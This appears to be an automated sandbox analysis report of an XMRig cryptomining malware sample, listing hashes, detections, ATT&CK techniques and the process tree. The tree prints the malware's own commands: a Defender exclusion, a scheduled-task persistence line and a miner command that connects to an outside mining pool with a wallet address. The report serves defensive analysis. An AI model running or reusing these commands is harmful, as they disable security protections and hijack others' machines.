xmrig | 097d059e224b536c9c59223456fdb074ae01e4d99ab32ee07c2e4647e691bd65

General

Target

42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe
Size

2.5MB
MD5

7dad5ca2096cbe129c0dade6cb2c915f
SHA1

7ef1eeab904b7b3afcc9e203be5e664388eb3198
SHA256

42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244
SHA512

87c9f5f16722113221c2ab2f11a9c4238b5706d8853288b3fa63b8bfa0462916dac8d62ee25d49e887202fa102edcc92540ddfb8d71ef19821d0b6c8770726c5
SSDEEP

24576:+5phTHwpeGenqhURy3e45mDyyg2lcV+q2lcV2sQ288nLS9XTJDsCSz1H3a:+5phTQpeZnqhURyOAbCC+fCc27n2wRHK

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/704-185-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/704-186-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/704-187-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/704-188-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/704-190-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/704-192-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

Processes:

YHKO.exe

pid process

1964 YHKO.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

YHKO.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation YHKO.exe
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Suspicious use of SetThreadContext 1 IoCs

Processes:

YHKO.exe

description pid process target process

PID 1964 set thread context of 704 1964 YHKO.exe vbc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

736 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

4916 timeout.exe

pid	process
1964	YHKO.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	YHKO.exe

description	pid	process	target process
PID 1964 set thread context of 704	1964	YHKO.exe	vbc.exe

pid	process
736	schtasks.exe

pid	process
4916	timeout.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exepowershell.exeYHKO.exepowershell.exe

pid	process
4900	42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe
4900	42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe
3752	powershell.exe
3752	powershell.exe
1964	YHKO.exe
1964	YHKO.exe
5112	powershell.exe
5112	powershell.exe
1964	YHKO.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

660

pid	process
660

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exepowershell.exeYHKO.exepowershell.exevbc.exe

description	pid	process
Token: SeDebugPrivilege	4900	42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe
Token: SeDebugPrivilege	3752	powershell.exe
Token: SeDebugPrivilege	1964	YHKO.exe
Token: SeDebugPrivilege	5112	powershell.exe
Token: SeLockMemoryPrivilege	704	vbc.exe
Token: SeLockMemoryPrivilege	704	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

vbc.exe

pid process

704 vbc.exe

pid	process
704	vbc.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.execmd.exeYHKO.execmd.exe

description	pid	process	target process
PID 4900 wrote to memory of 3752	4900	42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe	powershell.exe
PID 4900 wrote to memory of 3752	4900	42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe	powershell.exe
PID 4900 wrote to memory of 2176	4900	42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe	cmd.exe
PID 4900 wrote to memory of 2176	4900	42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe	cmd.exe
PID 2176 wrote to memory of 4916	2176	cmd.exe	timeout.exe
PID 2176 wrote to memory of 4916	2176	cmd.exe	timeout.exe
PID 2176 wrote to memory of 1964	2176	cmd.exe	YHKO.exe
PID 2176 wrote to memory of 1964	2176	cmd.exe	YHKO.exe
PID 1964 wrote to memory of 5112	1964	YHKO.exe	powershell.exe
PID 1964 wrote to memory of 5112	1964	YHKO.exe	powershell.exe
PID 1964 wrote to memory of 4332	1964	YHKO.exe	cmd.exe
PID 1964 wrote to memory of 4332	1964	YHKO.exe	cmd.exe
PID 4332 wrote to memory of 736	4332	cmd.exe	schtasks.exe
PID 4332 wrote to memory of 736	4332	cmd.exe	schtasks.exe
PID 1964 wrote to memory of 704	1964	YHKO.exe	vbc.exe
PID 1964 wrote to memory of 704	1964	YHKO.exe	vbc.exe
PID 1964 wrote to memory of 704	1964	YHKO.exe	vbc.exe
PID 1964 wrote to memory of 704	1964	YHKO.exe	vbc.exe
PID 1964 wrote to memory of 704	1964	YHKO.exe	vbc.exe
PID 1964 wrote to memory of 704	1964	YHKO.exe	vbc.exe
PID 1964 wrote to memory of 704	1964	YHKO.exe	vbc.exe
PID 1964 wrote to memory of 704	1964	YHKO.exe	vbc.exe
PID 1964 wrote to memory of 704	1964	YHKO.exe	vbc.exe
PID 1964 wrote to memory of 704	1964	YHKO.exe	vbc.exe
PID 1964 wrote to memory of 704	1964	YHKO.exe	vbc.exe
PID 1964 wrote to memory of 704	1964	YHKO.exe	vbc.exe
PID 1964 wrote to memory of 704	1964	YHKO.exe	vbc.exe
PID 1964 wrote to memory of 704	1964	YHKO.exe	vbc.exe

C:\Users\Admin\AppData\Local\Temp\42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe
"C:\Users\Admin\AppData\Local\Temp\42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3752

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7AF1.tmp.bat""
2⤵
- Suspicious use of WriteProcessMemory
PID:2176

C:\Windows\system32\timeout.exe
timeout 3
3⤵
- Delays execution with timeout.exe
PID:4916

C:\ProgramData\dlllib\YHKO.exe
"C:\ProgramData\dlllib\YHKO.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5112

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "C:\ProgramData\dlllib\YHKO.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:4332

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "C:\ProgramData\dlllib\YHKO.exe"
5⤵
- Creates scheduled task(s)
PID:736

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:704

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

1

T1064

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\dlllib\YHKO.exe
Filesize
2.5MB

MD5
7dad5ca2096cbe129c0dade6cb2c915f

SHA1
7ef1eeab904b7b3afcc9e203be5e664388eb3198

SHA256
42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244

SHA512
87c9f5f16722113221c2ab2f11a9c4238b5706d8853288b3fa63b8bfa0462916dac8d62ee25d49e887202fa102edcc92540ddfb8d71ef19821d0b6c8770726c5

Download Submit
C:\ProgramData\dlllib\YHKO.exe
Filesize
2.5MB

MD5
7dad5ca2096cbe129c0dade6cb2c915f

SHA1
7ef1eeab904b7b3afcc9e203be5e664388eb3198

SHA256
42bf95c2a2fa7351fd81756bc7285495ecc31f4b37b280bdbd2b6116719d0244

SHA512
87c9f5f16722113221c2ab2f11a9c4238b5706d8853288b3fa63b8bfa0462916dac8d62ee25d49e887202fa102edcc92540ddfb8d71ef19821d0b6c8770726c5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp7AF1.tmp.bat
Filesize
139B

MD5
ed3de4ffdbf376f7f93a51538b65d847

SHA1
380171020dbbf18f49b1173cab74d7efcfd247f5

SHA256
0c2069c559cd32136c339f795031a54d6da9bcb17e5bbb8704018aaea01dc8bb

SHA512
ee5b3ea1217f3f478d49706eb231dc3a09ce892d952afe2f1f883f54e56616a806c1516d075cf48dfeea40a5b7f81d87ac857cbd5c5d0f31393f6e7ad6facb42

Download Submit
memory/704-189-0x000001A21EA00000-0x000001A21EA20000-memory.dmp

Filesize
128KB

Download
memory/704-191-0x000001A220310000-0x000001A220350000-memory.dmp

Filesize
256KB

Download
memory/704-190-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/704-192-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/704-188-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/704-187-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/704-186-0x0000000140343234-mapping.dmp

Download
memory/704-185-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/704-193-0x000001A21EA50000-0x000001A21EA70000-memory.dmp

Filesize
128KB

Download
memory/704-194-0x000001A220350000-0x000001A220370000-memory.dmp

Filesize
128KB

Download
memory/704-195-0x000001A21EA50000-0x000001A21EA70000-memory.dmp

Filesize
128KB

Download
memory/704-196-0x000001A220350000-0x000001A220370000-memory.dmp

Filesize
128KB

Download
memory/736-177-0x0000000000000000-mapping.dmp

Download
memory/1964-179-0x00007FF89FF30000-0x00007FF89FF57000-memory.dmp

Filesize
156KB

Download
memory/1964-165-0x00007FF8A09C0000-0x00007FF8A0B61000-memory.dmp

Filesize
1.6MB

Download
memory/1964-178-0x0000000000EE0000-0x00000000011C0000-memory.dmp

Filesize
2.9MB

Download
memory/1964-180-0x00007FF8853E0000-0x00007FF885415000-memory.dmp

Filesize
212KB

Download
memory/1964-173-0x00007FF883FC0000-0x00007FF884A81000-memory.dmp

Filesize
10.8MB

Download
memory/1964-184-0x00007FF883FC0000-0x00007FF884A81000-memory.dmp

Filesize
10.8MB

Download
memory/1964-155-0x0000000000000000-mapping.dmp

Download
memory/1964-160-0x0000000000EE0000-0x00000000011C0000-memory.dmp

Filesize
2.9MB

Download
memory/1964-162-0x00000000011C0000-0x0000000001201000-memory.dmp

Filesize
260KB

Download
memory/1964-161-0x00007FF8A1330000-0x00007FF8A13CE000-memory.dmp

Filesize
632KB

Download
memory/1964-159-0x00007FF885720000-0x00007FF8857CA000-memory.dmp

Filesize
680KB

Download
memory/1964-163-0x00007FF89D610000-0x00007FF89D622000-memory.dmp

Filesize
72KB

Download
memory/1964-164-0x00007FF8855D0000-0x00007FF88568D000-memory.dmp

Filesize
756KB

Download
memory/1964-181-0x00007FF87FD90000-0x00007FF87FE92000-memory.dmp

Filesize
1.0MB

Download
memory/1964-166-0x00007FF883FC0000-0x00007FF884A81000-memory.dmp

Filesize
10.8MB

Download
memory/1964-167-0x00007FF8A13D0000-0x00007FF8A13FB000-memory.dmp

Filesize
172KB

Download
memory/1964-168-0x0000000000EE0000-0x00000000011C0000-memory.dmp

Filesize
2.9MB

Download
memory/1964-169-0x00007FF885240000-0x00007FF88538E000-memory.dmp

Filesize
1.3MB

Download
memory/1964-183-0x00007FF89EAC0000-0x00007FF89EAFB000-memory.dmp

Filesize
236KB

Download
memory/1964-182-0x00007FF8A1000000-0x00007FF8A106B000-memory.dmp

Filesize
428KB

Download
memory/2176-146-0x0000000000000000-mapping.dmp

Download
memory/3752-145-0x0000000000000000-mapping.dmp

Download
memory/3752-154-0x00007FF883FC0000-0x00007FF884A81000-memory.dmp

Filesize
10.8MB

Download
memory/3752-152-0x000001A8BD4A0000-0x000001A8BD4C2000-memory.dmp

Filesize
136KB

Download
memory/3752-153-0x00007FF883FC0000-0x00007FF884A81000-memory.dmp

Filesize
10.8MB

Download
memory/4332-175-0x0000000000000000-mapping.dmp

Download
memory/4900-144-0x00007FF883FC0000-0x00007FF884A81000-memory.dmp

Filesize
10.8MB

Download
memory/4900-139-0x00007FF8A09C0000-0x00007FF8A0B61000-memory.dmp

Filesize
1.6MB

Download
memory/4900-143-0x00007FF885430000-0x00007FF88557E000-memory.dmp

Filesize
1.3MB

Download
memory/4900-147-0x0000000000240000-0x0000000000520000-memory.dmp

Filesize
2.9MB

Download
memory/4900-148-0x0000000000C20000-0x0000000000C61000-memory.dmp

Filesize
260KB

Download
memory/4900-133-0x00007FF885720000-0x00007FF8857CA000-memory.dmp

Filesize
680KB

Download
memory/4900-149-0x00007FF883FC0000-0x00007FF884A81000-memory.dmp

Filesize
10.8MB

Download
memory/4900-136-0x00007FF8A1330000-0x00007FF8A13CE000-memory.dmp

Filesize
632KB

Download
memory/4900-137-0x00007FF89D610000-0x00007FF89D622000-memory.dmp

Filesize
72KB

Download
memory/4900-134-0x0000000000240000-0x0000000000520000-memory.dmp

Filesize
2.9MB

Download
memory/4900-141-0x00007FF8A13D0000-0x00007FF8A13FB000-memory.dmp

Filesize
172KB

Download
memory/4900-142-0x0000000000240000-0x0000000000520000-memory.dmp

Filesize
2.9MB

Download
memory/4900-140-0x00007FF883FC0000-0x00007FF884A81000-memory.dmp

Filesize
10.8MB

Download
memory/4900-135-0x0000000000C20000-0x0000000000C61000-memory.dmp

Filesize
260KB

Download
memory/4900-138-0x00007FF8855D0000-0x00007FF88568D000-memory.dmp

Filesize
756KB

Download
memory/4916-151-0x0000000000000000-mapping.dmp

Download
memory/5112-174-0x00007FF883FC0000-0x00007FF884A81000-memory.dmp

Filesize
10.8MB

Download
memory/5112-170-0x0000000000000000-mapping.dmp

Download
memory/5112-176-0x00007FF883FC0000-0x00007FF884A81000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads